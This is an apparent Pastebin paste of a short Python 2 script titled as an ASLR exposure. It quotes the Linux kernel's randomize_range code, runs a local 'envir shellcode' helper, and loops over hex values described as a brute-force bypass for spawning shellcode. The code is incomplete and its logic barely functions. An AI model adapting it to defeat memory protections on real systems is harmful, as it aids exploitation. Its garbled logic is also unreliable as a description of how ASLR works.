emin_int11

aslr exposed ) (2013)

Dec 6th, 2014 (edited)
356
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.28 KB | None | 0 0
  1. import os
  2. import sys
  3. import subprocess
  4.  
  5.  
  6. #linux kernel ref: http://lxr.linux.no/linux+v3.7.3/drivers/char/random.c#L1446
  7. #28 bit randomise page offset PRNG algorithm (Pseudorandom number generator in get_random_int function return field)
  8. #---------------------------------------------------------------------------
  9. #unsigned long
  10. #randomize_range(unsigned long start, unsigned long end, unsigned long len)
  11. #{
  12. # unsigned long range = end - len - start;
  13.  
  14. # if (end <= start + len)
  15. # return 0;
  16. # return PAGE_ALIGN(get_random_int() % range + start);
  17. #}
  18. #---------------------------------------------------------------------------
  19. #bu kodu C-de target prosesde (spawn addr: envir_shellcode) threat execute ede bilersiniz. men algonu verirem sadece
  20.  
  21. #hex_list = ["0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f"]
  22.  
  23. p = subprocess.Popen("./envir shellcode", stdout=subprocess.PIPE, shell=True)
  24. (output, err) = p.communicate()
  25. aslr=output[4:7]
  26.  
  27. print 'spawn shellcode :S testinG!!!@@@@3 @st1ll_di3--->'+str(output)
  28.  
  29. for i in range (1000,4096):
  30. var=hex(int(i)).replace('0x','')
  31. cixis=var
  32. # print aslr
  33. if cixis == aslr:
  34. print output+'----> bruteforce bypassing + spawn shellcode dude :)'
  35.  
  36.  
  37.  
  38. #0xbf<-af6->747
  39. #0xbf<-d9c->747
  40.  
Add Comment
Please, Sign In to add comment